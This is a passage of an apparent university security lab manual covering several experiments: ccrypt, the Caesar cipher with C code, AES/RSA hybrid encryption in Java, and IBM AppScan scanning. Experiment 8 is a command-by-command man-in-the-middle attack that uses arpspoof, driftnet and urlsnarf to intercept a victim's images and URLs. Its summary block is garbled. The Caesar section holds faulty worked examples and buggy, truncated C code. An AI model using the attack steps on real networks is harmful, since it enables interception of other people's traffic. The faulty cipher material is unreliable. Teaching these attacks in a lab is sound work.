 JWT tokens authenticate admin users securely.

9. Regular Software Updates


 Update Java libraries and frameworks to prevent security vulnerabilities.
 Example (Maven command to check for updates)

bash

mvn versions:display-dependency-updates

Conclusion

By implementing authentication, IP restrictions, HTTPS, role-based access, session security,


and logging, Java-based admin interfaces can be protected against unauthorized access.

37 | P a g e
Experiment no: 8

Title: Perform the Man-in-the-Middle Attack.


--------------------------------------------------------------------------------------------------
How to perform a Man-in-the-middle (MITM) attack with Kali Linux
1.Enable packet forwarding in Linux
The first thing you need to do is to forward all the IPv4 network packages. In this way your machine will act
as a router. Execute the following command in a new terminal:
sysctl -w net.ipv4.ip_forward=1

Note:
If your machine isn't forwarding the packets, the internet connection of the user will freeze and
therefore the attack will be useless.

2.Intercept packages from victim with arpspoof


arpspoof is a command line utility that allows you to intercept packets on a switched LAN. It redirects too
packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP
replies. This is an extremely effective way of sniffing traffic on a switch. The structure of the command to
start intercepting packets from the victim to the router is the following:

arpspoof -i [Network Interface Name] -t [Victim IP] [Router IP]

So with your values command should like:


Important

Run your command in a new terminal and let it running (don't close it until you want to stop the
attack).

arpspoof -i wlan0 -t 192.000.000.52 192.000.000.1

This process will monitor the packet flow from the Victim to the Router.

3.Intercept packets from router with arpspoof

Now that you're intercepting packets from the victim to the router (running on a terminal), you need now to
intercept the packets from the victim to the router with arpspoof. The structure of the command to start
intercepting packets from the router to the victim is the following:

arpspoof -i [Network Interface Name] -t [Router IP] [Victim IP]

So with our values, the command should look like:

38 | P a g e
Important

Run your command in a new terminal and let it running (don't close it until you want to stop the
attack).

arpspoof -i wlan0 -t 192.000.000.1 192.000.000.52

As you can see, it's the same command of the previous step but we switched the possition of the
arguments. Till this point you're already infiltrated to the connection between your victim and the
router. Now you just need to learn how to read those packets using driftnet and urlsnarf.

4.Sniff images from victim navigation

To see the images from websites that our victim visits, you need to use driftnet. Driftnet is a program
which listens to network traffic and picks out images from TCP streams it observes. Fun to run on a
host which sees lots of web traffic. The strucure of the command to start driftnet and see the images
that the user see on the websites is the following:

driftnet -i [Network Interface Name]

Note:
If your machine isn't forwarding the packets, the internet connection of the user will freeze and
therefore the attack will be useless.

With the information we have, our command should look like:

driftnet -i wlan0

6.Sniff URLs information from victim navigation

To get information about the websites that our victim visits, you can use urlsnarf for it. It is a
command line tool that sniffs HTTP requests in Common Log Format. It outputs all requested URLs
sniffed from HTTP traffic in CLF (Common Log Format, used by almost all web servers), suitable
for offline post-processing with your favorite web log analysis tool (analog, wwwstat, etc.). The
structure of the command to sniff the URLs that your victim visits, is the following:

urlsnarf -i [Network interface name]

In this case, with the information we have, the command to execute will look like:

Note
If your machine isn't forwarding the packets, the internet connection of the user will freeze and
therefore the attack will be useless.

urlsnarf -i wlan0

39 | P a g e
Congratulations, if you have followed all the steps carefully, you should be now sniffing information
about the target you've chosen with a MITM attack. Once your victim visits a website, you should
be able to read information about his actions on the internet. To stop the attack, press CTRL + C on
every terminal where any process that you've opened is running.

7.Disable packet forwarding (only when your attack has finished)

# Enable port forwarding


sysctl -w net.ipv4.ip_forward=1

# Spoof connection between Victim and Router


# Note: Run this command in a new terminal and let it running arpspoof
-i [Network Interface Name] -t [Victim IP] [Router IP]

# Same step but inverted (nope, it's not the same ...)
# Note: Run this command in a new terminal and let it running arpspoof
-i [Network Interface Name] -t [Router IP] [Victim IP]

# Execute driftnet to sniff images


# Note: Run this command in a new terminal and let it running driftnet -i
[Network Interface Name]

# Sniff URL traffic of the victim

# Note: Run this command in a new terminal and let it running urlsnarf -i
[Network Interface Name]

# Disable port forwarding once you're done with the attack sysctl -
w net.ipv4.ip_forward=0

# Examples for values


# [Network Interface Name] = wlan0 #
[Victim IP] = 192.000.xx
# [Router IP] = 192.000.1

40 | P a g e
Experiment no: 9

Title: Encrypt/Decrypt Files in Linux using Ccrypt.


--------------------------------------------------------------------------------------------------
Ccrypt is a command line tool for encryption and decryption of data. Ccrypt is based on the Rijndael cipher,
the same cipher used in the AES standard. On the other hand, in the AES standard, a 128-bit block size is
used, whereas ccrypt uses a 256-bit block size. Ccrypt commonly uses the .cpt file extension for encrypted
files.
 It is a lightweight tool, the installation and use of this tool is pretty easy.
 It is designed to overcome the shortcomings of standard unix crypt utility.

Installation

sudo apt-get install ccrypt // in ubuntu

Ccrypt Manual

 -e, –encrypt :Encrypt. This is the default mode. If filename arguments are given, encrypt the files
and append the suffix .cpt to their names. Otherwise, run as a filter.

 -d, –decrypt: Decrypt. If filename arguments are given, decrypt the files and strip the suffix
.cpt from the filenames, if present. Otherwise, run as a filter.

 -c, –cat: Decrypt one or more files to standard output. If no filename arguments are given,
decrypt as a filter. Implies -l.

 -x, –keychange: Change the key of encrypted data. In this mode, ccrypt prompts for two
passwords: the old one and the new one. If filename arguments are given, modify the files.
Otherwise, run as a filter.

 -u, –unixcrypt: Simulate the old unix crypt command. Note: the cipher used by unix crypt
has been broken and is not secure. Please use this option only to decrypt existing files. If
filename arguments are given, decrypt the files to stdout. Otherwise, run as a filter. Note that
for the unix crypt format, there is no easy way to detect whether a given key matches or not;
thus, for safety, this mode does not overwrite files.

Encrypting files with Ccrypt

In order to encrypt file using this tool, use following syntax:


ccrypt filename

To encrypt a file : impfile


ccrypt impfile
It will prompt for password couple of times, and once done, it will remove your resource file and
save the file with .cptextension.

41 | P a g e
Source file have been removed and only encrypted file is there:

Decrypt file with Ccrypt


Now in order to decrypt an already encrypted file, command syntax is:

ccrypt –d encryptedfilename

So, Decrypt the encrypted file as:

ccrypt –d impfile.cpt

It will ask for password and will decryptthe file.

It is a tiny application, extremely lightweight as it consumes almost no resources with almost no


memory footprints. Installation and usage are extremely easy, it’s a must-have app for Linux users.

42 | P a g e
Experiment no: 10

Title: Perform cryptography operation using cipher text.


--------------------------------------------------------------------------------------------------
Caesar Cipher Technique

The Caesar cipher is the simplest and oldest method of cryptography. The Caesar cipher method is based on
a mono-alphabetic cipher and is also called a shift cipher or additive cipher. Julius Caesar used the shift
cipher (additive cipher) technique to communicate with his officers. For this reason, the shift cipher
technique is called the Caesar cipher. The Caesar cipher is a kind of replacement (substitution) cipher, where
all letter of plain text is replaced by another letter.

Let's take an example to understand the Caesar cipher, suppose we are shifting with 1, then A will
be replaced by B, B will be replaced by C, C will be replaced by D, D will be replaced by C, and this
process continues until the entire plain text is finished.

Caesar ciphers is a weak method of cryptography. It can be easily hacked. It means the message
encrypted by this method can be easily decrypted.

Plaintext: It is a simple message written by the user.

Ciphertext: It is an encrypted message after applying some technique.

The formula of encryption is:

E (x) = (x + n) mod 26
n

The formula of decryption is:

D (x) = (xi - n) mod 26


n

If any case (Dn) value becomes negative (-ve), in this case, we will add 26 in the negative value.

Where,
E denotes the encryption

D denotes the decryption

x denotes the letters value

n denotes the key value (shiftvalue)

Note: "i" denotes the offset of the ith number of the letters, as shown in the table below.

43 | P a g e
Example: 1 Use the Caesar cipher to encrypt and decrypt the message "JAVATPOINT," and the
key (shift) value of this message is 3.

Encryption
We apply encryption formulas by character, based on alphabetical order. The formula of encryption is:

E (x) = (x + n) mod 26
n

Plaintext: J → 09 E : (09 + 3) mod 26 Ciphertext: 12 → M


n

Plaintext: A → 00 E : (00 + 3) mod 26 Ciphertext: 3 → D


n

Plaintext: V → 21 E : (21 + 3) mod 26 Ciphertext: 24 → Y


n

Plaintext: A → 00 E : (00 + 3) mod 26 Ciphertext: 3 → D


n

Plaintext: T → 19 E : (19 + 3) mod 26 Ciphertext: 22 → W


n

Plaintext: P → 15 E : (15 + 3) mod 26 Ciphertext: 18 → S


n

Plaintext: O → 14 E : (14 + 3) mod 26 Ciphertext: 17 → R


n

Plaintext: I → 08 E : (08 + 3) mod 26 Ciphertext: 11 → L


n

Plaintext: N → 13 E : (13 + 3) mod 26 Ciphertext: 16 → Q


n

Plaintext: T → 19 E : (19 + 3) mod 26 Ciphertext: 22 → W


n

The encrypted message is "MDYDWSRLQW". Note that the Caesar cipher is monoalphabetic, so
the same plaintext letters are encrypted as the same letters. For example, "JAVATPOINT" has "A",
encrypted by "D".

Decryption

We apply decryption formulas by character, based on alphabetical order. The formula of decryption is:

D (x) = (x - n) mod 26
n i

If any case (D ) value becomes negative (-ve), in this case, we will add 26 in the negative value.
n

D : (12 - 3) mod 26 Plaintext: 09 → J


n

Ciphertext: M → 12

Ciphertext: D → 03 D : (03 - 3) mod 26 Plaintext: 0 → A


n

Ciphertext: Y → 24 D : (24 - 3) mod 26 Plaintext: 21 → V


n

Plaintext: A → 00 E : (00 + 3) mod 26 Ciphertext: 3 → D


n

Plaintext: T → 19 E : (19 + 3) mod 26 Ciphertext: 22 → W


n

Plaintext: P → 15 E : (15 + 3) mod 26 Ciphertext: 18 → S


n

Plaintext: O → 14 E : (14 + 3) mod 26 Ciphertext: 17 → R


n

Plaintext: I → 08 E : (08 + 3) mod 26 Ciphertext: 11 → L


n

Plaintext: N → 13 E : (13 + 3) mod 26 Ciphertext: 16 → Q


n

Plaintext: T → 19 E : (19 + 3) mod 26 Ciphertext: 22 → W


n

The decrypted message is "JAVATPOINT".


44 | P a g e
Example: 2 Use the Caesar cipher to encrypt and decrypt the message "HELLO," and the key (shift) value
of this message is 15.

Encryption

We apply encryption formulas by character, based on alphabetical order. The

formula of encryption is:

E (x) = (x + n) mod 26
n

Plaintext: H → 07 E : (07 + 15) mod 26 Ciphertext: 22 → W


n

Plaintext: E → 04 E : (04 + 15) mod 26 Ciphertext: 19 → T


n

Plaintext: L → 11 E : (11 + 15) mod 26 Ciphertext: 00 → A


n

Plaintext: L → 11 E : (11 + 15) mod 26 Ciphertext: 00 → A


n

Plaintext: O → 14 E : (14 + 15) mod 26 Ciphertext: 03 → D


n

Note that the Caesar cipher is monoalphabetic, so the same plaintext letters are encrypted as
the same letters. Like, "HELLO" has "L", encrypted by "A".

The encrypted message of this plain text is "WTAAD".

Decryption

We apply decryption formulas by character, based on alphabetical order. The

formula of decryption is:

D (x) = (xi - n) mod 26


n

Ciphertext: W → 22 D : (22 - 15) mod 26 Plaintext: 07 → H


n

Ciphertext: T → 19 D : (19 - 15) mod 26 Plaintext: 04 → E


n

Ciphertext: A → 00 D : (00 - 15) mod 26 Plaintext: 11 → L


n

Ciphertext: A → 00 D : (00 - 15) mod 26 Plaintext: 11 → L


n

Ciphertext: D → 03 D : (03 - 15) mod 26 Plaintext: 14 → O


n

The decrypted message is "HELLO".

Note: If any case (D ) value becomes negative (-ve), in this case, we will add 26 in the
n

negative value. Like, the third letter of the ciphertext.

D =
n (00 - 15) mod 26
= -15

45 | P a g e
The value of dn is negative, so 26 will be added to it.

= -15 + 26
= 11

Advantages of Caesar cipher

Its benefits are as follows: -

1. It is very easy to implement.


2. This method is the simplest method of cryptography.
3. Only one short key is used in its entire process.
4. If a system does not use complex coding techniques, it is the best method for it.
5. It requires only a few computing resources.

Disadvantages of Caesar cipher

Its disadvantages are as follows: -

1. It can be easily hacked. It means the message encrypted by this method can be easily
decrypted.
2. It provides very little security.
3. By looking at the pattern of letters in it, the entire message can be decrypted.

Program

C program for the encryption:

1. #include<stdio.h>
2. #include<conio.h>
3. int main()
4. {
5. int i, f;
6. char pop[100], c;

7. printf(" enter a plaintext \n");


8. gets(pop);
9. printf("enter key");
10. scanf("%d", &f);
11. for(i = 0; pop[i] ! = '\0'; i++)
12. {
13. c = pop[i];
14. if(c >= 'a' && c <= 'z')
15. {
16. c = c + f;

46 | P a g e
17. if(c > 'z')
18. {
19. c = c - 'z' + 'a' - 1;
20. }
21. pop[i] = c;
22. }
23. else if(c >= 'A' && c < 'Z')
24. {
25. c = c + f;
26. if(c > 'Z')
27. {
28. c = c = 'Z' + 'A' - 1;
29. }
30. pop[i] = c;
31. }
32. }
33. printf(" Encrypted message: %s", pop);
34. return 0;
35. }

C program for the decryption

1. #include<stdio.h>
2. #include<conio.h>
3. int main()
4. {
5. int i, f;
6. char pop[100], c;
7. printf("enter a encrypted test \t");
8. gets(pop);
9. printf("enter key \t");
10. scanf("%d", &f);
11. for(i = 0; pop[i] != '\0'; i++)
12. {
13. c = pop[i];
14. if(c >= 'a' && c <= 'z')
15. {
16. c = c - f;
17. if(c < 'a')
18. {
19. c = c + 'z' - 'a' + 1;
20. }
21. pop[i] = c;
22. }

47 | P a g e
Experiment no: 11

Title: Perform cryptography using public, private and symmetric key.


--------------------------------------------------------------------------------------------------

Objective
To implement encryption and decryption in Java using:

 AES (Advanced Encryption Standard) - Symmetric Key Encryption


 RSA (Rivest-Shamir-Adleman) - Asymmetric Key Encryption
 Hybrid Approach (AES + RSA) - Secure and Efficient Encryption

Theory

Cryptography is the technique of securing information by transforming it into an unreadable format using
encryption. The receiver can decrypt the message back into a readable format using a secret key.

Types of Cryptography Used in this Lab

1. Symmetric Key Cryptography (AES)


o Uses a single key for both encryption and decryption.
o Fast and efficient for encrypting large amounts of data.
o Example: AES (Advanced Encryption Standard).
2. Asymmetric Key Cryptography (RSA)
o Uses a public key for encryption and a private key for decryption.
o Secure but computationally expensive.
o Example: RSA (2048-bit key).
3. Hybrid Encryption (AES + RSA)
o AES encrypts the message (fast encryption).
o RSA encrypts the AES key (secure key exchange).
o Provides both security and performance.

Algorithm

Step 1: AES Encryption (Symmetric)

1. Generate a 256-bit AES key.


2. Encrypt the input message using AES encryption.
3. Store the encrypted message.

Step 2: RSA Encryption (Asymmetric)

4. Generate an RSA key pair (2048-bit public and private key).


5. Encrypt the AES key using the RSA public key.
6. Store the encrypted AES key.

Step 3: Decryption Process

7. Decrypt the AES key using the RSA private key.


8. Use the decrypted AES key to decrypt the message.
48 | P a g e
9. Display the original message.

import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import java.security.*;
import java.util.Base64;

public class CryptoExample {

// Generate AES key


public static SecretKey generateAESKey() throws Exception {
KeyGenerator keyGenerator = KeyGenerator.getInstance("AES");
keyGenerator.init(256); // AES key size
return keyGenerator.generateKey();
}

// Encrypt using AES


public static byte[] encryptAES(String data, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.ENCRYPT_MODE, key);
return cipher.doFinal(data.getBytes());
}

// Decrypt using AES


public static String decryptAES(byte[] encryptedData, SecretKey key) throws Exception {
Cipher cipher = Cipher.getInstance("AES");
cipher.init(Cipher.DECRYPT_MODE, key);
return new String(cipher.doFinal(encryptedData));
}

// Generate RSA key pair


public static KeyPair generateRSAKeyPair() throws Exception {
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048); // RSA key size
return keyGen.generateKeyPair();
}

// Encrypt AES key using RSA public key


public static byte[] encryptRSA(byte[] aesKey, PublicKey publicKey) throws Exception {
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
return cipher.doFinal(aesKey);
}

// Decrypt AES key using RSA private key

49 | P a g e
public static byte[] decryptRSA(byte[] encryptedKey, PrivateKey privateKey) throws Exception
{
Cipher cipher = Cipher.getInstance("RSA");
cipher.init(Cipher.DECRYPT_MODE, privateKey);
return cipher.doFinal(encryptedKey);
}

public static void main(String[] args) throws Exception {


String plainText = "Hello, this is a secure message!";

// Generate AES Key


SecretKey aesKey = generateAESKey();

// Encrypt data using AES


byte[] encryptedData = encryptAES(plainText, aesKey);

// Generate RSA Key Pair


KeyPair rsaKeyPair = generateRSAKeyPair();

// Encrypt AES Key using RSA Public Key


byte[] encryptedAESKey = encryptRSA(aesKey.getEncoded(), rsaKeyPair.getPublic());

// Decrypt AES Key using RSA Private Key


byte[] decryptedAESKeyBytes = decryptRSA(encryptedAESKey, rsaKeyPair.getPrivate());
SecretKey decryptedAESKey = new SecretKeySpec(decryptedAESKeyBytes, "AES");

// Decrypt data using decrypted AES Key


String decryptedData = decryptAES(encryptedData, decryptedAESKey);

// Print results
System.out.println("Original Text: " + plainText);
System.out.println("Encrypted Text (AES): " +
Base64.getEncoder().encodeToString(encryptedData));
System.out.println("Encrypted AES Key (RSA): " +
Base64.getEncoder().encodeToString(encryptedAESKey));
System.out.println("Decrypted Text: " + decryptedData);
}
}

50 | P a g e
Experiment no: 12

Title: Perform different code analysis using IBM Rational AppScan.


--------------------------------------------------------------------------------------------------

Objective
This lab manual guides you through performing different types of Java code analysis using IBM Rational
AppScan. You will learn how to configure and run static, dynamic, and interactive security analysis to identify
vulnerabilities in your Java applications.

Prerequisites

 IBM Rational AppScan Standard or IBM Security AppScan Source installed


 Java Development Kit (JDK) installed (Recommended: JDK 8 or later)
 A sample Java web application for testing (e.g., WebGoat, DVWA, or your own project)
 Apache Tomcat (or any compatible web server) for deployment
 Administrative privileges to install and configure the software

Setting Up IBM Rational AppScan for Java Code Analysis

Step 1: Install and Configure AppScan

1. Download and install IBM Rational AppScan Standard or IBM Security AppScan Source.
2. Open AppScan and create a new Static Analysis project.
3. Configure the workspace to point to your Java project directory.
4. Ensure JDK is correctly set up in the project settings.

Step 2: Import the Java Code

1. Click on "File" > "New Project".


2. Select "Static Analysis" and specify the source code folder.
3. Choose Java as the target programming language.
4. Click "Finish" to import the project.

Performing Static Security Analysis

Step 1: Configure Static Analysis

1. Navigate to "Security Scans" > "Scan Configuration".


2. Select the scan depth and set it to comprehensive.
3. Enable OWASP Top 10 and SANS 25 vulnerability detection.

Step 2: Run the Static Analysis

1. Click "Run Scan".


2. Wait for AppScan to process the Java files.
3. Review the list of identified vulnerabilities.

51 | P a g e
Step 3: Analyze the Results

1. Check the severity levels (Critical, High, Medium, Low).


2. Click on each issue to see the affected code lines.
3. Follow suggested remediation steps.

Performing Dynamic Security Testing

Step 1: Configure the Web Application

1. Deploy your Java web application on Apache Tomcat.


2. Obtain the URL of the running application (e.g., http://localhost:8080/myapp).
3. In AppScan, navigate to "New Scan" > "Dynamic Analysis".

Step 2: Run the Dynamic Analysis

1. Enter the application URL and click "Start Scan".


2. Let AppScan interact with the application to test for vulnerabilities.
3. Review issues such as SQL Injection, XSS, and CSRF.

Step 3: Generate Reports

1. After the scan, go to "Reports" > "Generate Report".


2. Choose PDF or HTML format.
3. Save the report for further remediation steps.

Performing Interactive Security Analysis (IAST)

Step 1: Configure AppScan IAST Agent

1. Install the AppScan IAST agent on the Java application server.


2. Modify the setenv.sh or catalina.bat script in Tomcat to include the agent.

Step 2: Run Interactive Analysis

1. Start your Java application with the IAST agent enabled.


2. AppScan will monitor runtime behavior and detect security flaws.
3. Analyze runtime vulnerabilities detected by the tool.

Step 3: Mitigation and Fixes

1. Implement recommended code fixes.


2. Rerun the static and dynamic scans to ensure issues are resolved.
3. Document the changes and update the security policies.

Conclusion
By completing this lab, you have learned how to perform static, dynamic, and interactive security analysis
on Java applications using IBM Rational AppScan. Regularly performing these tests helps in securing Java
applications against cyber threats.

52 | P a g e

You might also like